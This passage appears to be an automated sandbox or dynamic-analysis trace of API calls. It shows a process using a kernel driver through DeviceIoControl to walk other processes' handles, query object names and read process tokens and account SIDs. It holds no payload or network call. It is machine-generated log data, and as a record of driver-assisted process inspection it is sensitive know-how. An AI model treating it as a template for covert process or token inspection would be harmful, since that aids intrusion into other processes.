PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.261] PsAcquireProcessExitSynchronization () returned 0x0 [0106.261] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.261] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003517d50, HandleInformation=0x0) returned 0x0 [0106.261] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.261] PsReleaseProcessExitSynchronization () returned 0x2 [0106.261] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.261] ObQueryNameString (in: Object=0xfffffa8003517d50, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.261] ObfDereferenceObject (Object=0xfffffa8003517d50) returned 0x1 [0106.261] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.261] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.261] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.261] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.261] PsAcquireProcessExitSynchronization () returned 0x0 [0106.261] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.261] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.261] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.261] PsReleaseProcessExitSynchronization () returned 0x2 [0106.261] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.261] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.261] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.261] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.261] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.261] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0106.262] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.262] PsAcquireProcessExitSynchronization () returned 0x0 [0106.262] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.262] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800216c2a0, HandleInformation=0x0) returned 0x0 [0106.262] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.262] PsReleaseProcessExitSynchronization () returned 0x2 [0106.262] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.262] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.262] ObfDereferenceObject (Object=0xfffffa800216c2a0) returned 0x1 [0106.262] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.262] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.262] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.262] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.262] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.262] PsAcquireProcessExitSynchronization () returned 0x0 [0106.262] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.262] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002397da0, HandleInformation=0x0) returned 0x0 [0106.262] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.262] PsReleaseProcessExitSynchronization () returned 0x2 [0106.262] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.262] ObQueryNameString (in: Object=0xfffff8a002397da0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.262] ObfDereferenceObject (Object=0xfffff8a002397da0) returned 0x1 [0106.262] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.262] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.262] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.262] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0106.262] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.262] PsAcquireProcessExitSynchronization () returned 0x0 [0106.262] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.262] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002184760, HandleInformation=0x0) returned 0x0 [0106.262] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.262] PsReleaseProcessExitSynchronization () returned 0x2 [0106.262] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.262] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.263] ObfDereferenceObject (Object=0xfffffa8002184760) returned 0x1 [0106.263] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.263] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.263] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0106.263] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.263] PsAcquireProcessExitSynchronization () returned 0x0 [0106.263] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.263] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80018f72a0, HandleInformation=0x0) returned 0x0 [0106.263] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.263] PsReleaseProcessExitSynchronization () returned 0x2 [0106.263] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.263] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.263] ObfDereferenceObject (Object=0xfffffa80018f72a0) returned 0x1 [0106.263] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.263] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.263] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0106.263] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.263] PsAcquireProcessExitSynchronization () returned 0x0 [0106.263] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.263] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0106.263] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.263] PsReleaseProcessExitSynchronization () returned 0x2 [0106.263] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.263] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.263] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0106.263] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.263] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.263] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0106.264] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.264] PsAcquireProcessExitSynchronization () returned 0x0 [0106.264] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.264] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800216b360, HandleInformation=0x0) returned 0x0 [0106.264] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.264] PsReleaseProcessExitSynchronization () returned 0x2 [0106.264] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.264] ObQueryNameString (in: Object=0xfffffa800216b360, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.264] ObfDereferenceObject (Object=0xfffffa800216b360) returned 0x1 [0106.264] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.264] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.264] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0106.264] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.264] PsAcquireProcessExitSynchronization () returned 0x0 [0106.264] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.264] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0106.264] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.264] PsReleaseProcessExitSynchronization () returned 0x2 [0106.264] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.264] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.264] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0106.264] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.264] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.264] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.264] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.264] PsAcquireProcessExitSynchronization () returned 0x0 [0106.264] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff88004f095d0) [0106.264] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0106.264] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.264] PsReleaseProcessExitSynchronization () returned 0x2 [0106.264] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0106.265] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.265] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x9 [0106.265] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.265] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.265] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb4c) returned 0xc0 [0106.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.265] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800212cb30, HandleInformation=0x0) returned 0x0 [0106.265] ObOpenObjectByPointer (in: Object=0xfffffa800212cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.265] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x83 [0106.265] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8003571040 | out: TokenHandle=0xfffffa8003571040*=0xc8) returned 0x0 [0106.265] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.265] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.265] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.265] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.266] CloseHandle (hObject=0xc8) returned 1 [0106.266] CloseHandle (hObject=0xc0) returned 1 [0106.266] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.266] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.267] PsAcquireProcessExitSynchronization () returned 0x0 [0106.267] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff88004f095d0) [0106.267] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f49750, HandleInformation=0x0) returned 0x0 [0106.267] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.267] PsReleaseProcessExitSynchronization () returned 0x2 [0106.267] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0106.267] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.267] ObfDereferenceObject (Object=0xfffffa8001f49750) returned 0x1 [0106.267] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.267] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.267] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.267] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.267] PsAcquireProcessExitSynchronization () returned 0x0 [0106.267] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff88004f095d0) [0106.267] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f45200, HandleInformation=0x0) returned 0x0 [0106.267] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.267] PsReleaseProcessExitSynchronization () returned 0x2 [0106.267] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0106.267] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.267] ObfDereferenceObject (Object=0xfffffa8001f45200) returned 0x1 [0106.267] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.267] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.267] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0106.267] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.267] PsAcquireProcessExitSynchronization () returned 0x0 [0106.490] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff88004f095d0) [0106.490] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024c0450, HandleInformation=0x0) returned 0x0 [0106.490] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.490] PsReleaseProcessExitSynchronization () returned 0x2 [0106.490] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0106.490] ObQueryNameString (in: Object=0xfffffa80024c0450, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.490] ObfDereferenceObject (Object=0xfffffa80024c0450) returned 0x1 [0106.490] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.490] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.491] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x858) returned 0xc0 [0106.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.491] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80023095e0, HandleInformation=0x0) returned 0x0 [0106.491] ObOpenObjectByPointer (in: Object=0xfffffa80023095e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.492] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x20 [0106.492] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.492] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.492] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.492] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.492] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.495] CloseHandle (hObject=0xc8) returned 1 [0106.495] CloseHandle (hObject=0xc0) returned 1 [0106.495] RtlAllocateHeap (HeapHandle=0x180000, 